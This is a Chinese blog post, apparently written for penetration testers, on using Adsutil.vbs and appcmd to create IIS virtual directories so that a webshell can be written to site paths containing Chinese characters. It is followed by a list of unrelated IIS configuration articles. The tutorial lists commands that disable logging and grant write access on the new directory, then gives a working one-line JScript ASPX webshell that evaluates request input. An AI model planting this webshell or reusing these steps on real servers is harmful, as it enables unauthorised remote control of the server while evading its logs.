利用IIS虚拟目录写马至中文路径

简介: 利用IIS虚拟目录写马至中文路径

0x01 前言

知识星球看到@紫陌师傅分享的一篇《利用IIS虚拟目录绕过os-shell中文目录》,所以想着对他文中提到的利用Adsutil.vbs脚本创建虚拟目录写马至中文路径的方式进行复现,但仅适用于低版本IIS,高版本要用appcmd。


0x02 思路分享

Adsutil.vbs是Windows系统自带的一个脚本,可用于命令行下管理IIS,默认在C:\inetpub\AdminScripts目录下,但只在IIS6默认会有这个脚本,IIS7及以上需要单独安装“IIS6脚本工具”组件才有。

我们可以通过执行Adsutil.vbs脚本获取目标网站的各种信息,如:网站ID、绑定域名、应用程序池和查看/创建/删除虚拟目录等,实战场景中还得去删除下创建的虚拟目录,否则可能一直存在。


主要用到命令:

    所有网站ID:cscript.exe c:\inetpub\adminscripts\adsutil.vbs enum /P W3SVC
    对象绑定信息:cscript.exe c:\inetpub\adminscripts\adsutil.vbs get w3svc/2/serverbindings
    创建虚拟目录:cscript.exe c:\inetpub\adminscripts\adsutil.vbs create w3svc/2/root/hacking/ IisWebVirtualDir
    删除虚拟目录:cscript.exe c:\inetpub\adminscripts\adsutil.vbs delete w3svc/2/root/hacking
    设置物理路径:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/path C:\ProgramData\testing


    其他常用命令:

      IIS应用池名:cscript.exe C:\inetpub\AdminScripts\adsutil.vbs enum /P W3SVC/APPPOOLS
      IIS应用池信息:cscript.exe C:\inetpub\AdminScripts\adsutil.vbs enum W3SVC/APPPOOLS/DefaultAppPool
      对象虚拟目录:cscript.exe c:\inetpub\AdminScripts\adsutil.vbs enum w3svc/2/root
      不设置日志:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/DontLog 1
      设置写权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/accesswrite 1
      设置读权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/accessread 1
      可列目录权限:cscript.exe c:\inetpub\adminscripts\adsutil.vbs set w3svc/2/root/hacking/enabledirbrowsing 1
      启动2号Web服务:cscript.exe c:\inetpub\adminscripts\adsutil.vbs start_server w3svc/2

      遇到IIS7及以上场景时我们也可以通过执行appcmd获取IIS中的所有网站名称和对应的物理路径,快速定位到目标网站的绝对路径,也能查看/创建/删除虚拟目录等,方便我们写马至中文路径。

        查看虚拟目录:
        C:\Windows\System32\inetsrv\appcmd list vdir
        创建虚拟目录:
        C:\Windows\System32\inetsrv\appcmd add vdir /app.name:www.testing.com/ /path:/hacking1 /physicalPath:C:\ProgramData\testing1
        删除虚拟目录:
        C:\Windows\System32\inetsrv\appcmd delete vdir "www.testing.com/hacking1"

        注:使用appcmd创建虚拟目录时得注意下格式,app.name网站名称,path虚拟目录别名,physicalPath物理路径,还得注意app.name、path中的/,这两斜杠都需要保留,否则可能会出错。

        使用Adsutil.vbs脚本或appcmd建立虚拟目录后就可以无视目标网站物理路径中存在的中文字符了。


        因为这是直接往虚拟目录中写入文件,所以可以成功将Webshell写入至中文路径,如下图所示...。

          echo ^<%%@ Page Language="Jscript"%%^>^<%%eval(Request.Item["xxxasec"],"unsafe");%%^> > C:\inetpub\wwwroot\中文测试\shell.aspx

          相关文章
          |
          存储 缓存 文件存储
          IIS应用使用虚拟目录功能,将数据目录存放到阿里云SMB文件系统上实现弹性存储
          阿里云SMB文件系统具有超大容量以及弹性扩展的能力,但是兼容性和性能相比虚拟机系统盘有差距。针对这个特性,可以将IIS应用的数据部分存放在云上文件系统中,应用核心还是在系统盘上运行,通过IIS虚拟目录功能将IIS应用与阿里云SMB文件系统的目录相连。 本文详述了如何配置IIS虚拟目录到阿里云SMB文件系统,实现存储海量扩展。
          1059 0
          IIS应用使用虚拟目录功能,将数据目录存放到阿里云SMB文件系统上实现弹性存储
          |
          开发框架 安全 .NET
          IIS6.0目录解析漏洞原理/复现
          目录解析漏洞原理 IIS6.0版本存在目录解析漏洞 , ,asp格式命名的文件夹,其目录下的所有文件都会被IIS当做asp文件来解析 漏洞复现 环境准备 Windows 2003系统 , IIS 6.0 服务
          241 0
          IIS6.0目录解析漏洞原理/复现
          |
          .NET 开发框架
          IIS7浏览虚拟目录显示根目录文件
          IIS7浏览虚拟目录显示根目录文件 图例显示 1、开始-运行-输入InetMgr.exe回车(如图1-1)。 图 1-1 2、点击“Internet信息服务(IIS)管理根目录”(如图1-2中的“GP-PC”)-“网站”-“Default Web Site”-虚拟目录(如图1-2的MY24)-找到“默认文档”双击。
          1557 0
          |
          .NET 开发框架
          Windows7下“/”应用程序中的服务器错误。allowDefinition='MachineToApplication' 的节是错误的。如果在 IIS 中没有将虚拟目录配置为应用程序,则可能导致此错误。
          原文 http://www.cnblogs.com/wsxg/archive/2012/02/19/2358031.html 错误显示 “/”应用程序中的服务器错误。 配置错误 说明: 在处理向该请求提供服务所需的配置文件时出错。
          1121 0
          |
          .NET 开发框架
          ASP.NET操作IIS中的虚拟目录
          版权声明:本文为博主原创文章,未经博主允许不得转载。 https://blog.csdn.net/chinahuyong/article/details/2938852  ASP.
          830 0
          |
          6月前
          |
          网络协议
          windows_server2012搭建iis并配置http重定向 iis转发
          windows_server2012搭建iis并配置http重定向 iis转发
          338 1
          |
          4月前
          |
          C++
          【Azure云服务 Cloud Service】如何在部署云服务Cloud Service时候通过启动任务Start Task来配置IIS (如开启ARR)
          【Azure云服务 Cloud Service】如何在部署云服务Cloud Service时候通过启动任务Start Task来配置IIS (如开启ARR)
          |
          4月前
          |
          开发框架 .NET 中间件
          【Azure 云服务】在Cloud Service的代码中如何修改IIS Application Pool的配置呢? 比如IdleTimeout, startMode, Recycling.PeriodicRestart.Time等
          【Azure 云服务】在Cloud Service的代码中如何修改IIS Application Pool的配置呢? 比如IdleTimeout, startMode, Recycling.PeriodicRestart.Time等
          【Azure 云服务】在Cloud Service的代码中如何修改IIS Application Pool的配置呢? 比如IdleTimeout, startMode, Recycling.PeriodicRestart.Time等
          |
          6月前
          |
          Windows
          iis配置http重定向302转发get请求并去掉最后的斜杠/ iis重定向 iis去除url最后的斜杠 iis重定向链接斜杠(已解决)
          iis配置http重定向302转发get请求并去掉最后的斜杠/ iis重定向 iis去除url最后的斜杠 iis重定向链接斜杠(已解决)
          198 0
          |
          7月前
          |
          JavaScript Windows
          VUE部署到IIS中报404错误解决方案-配置URL重写
          VUE部署到IIS中报404错误解决方案-配置URL重写
          316 0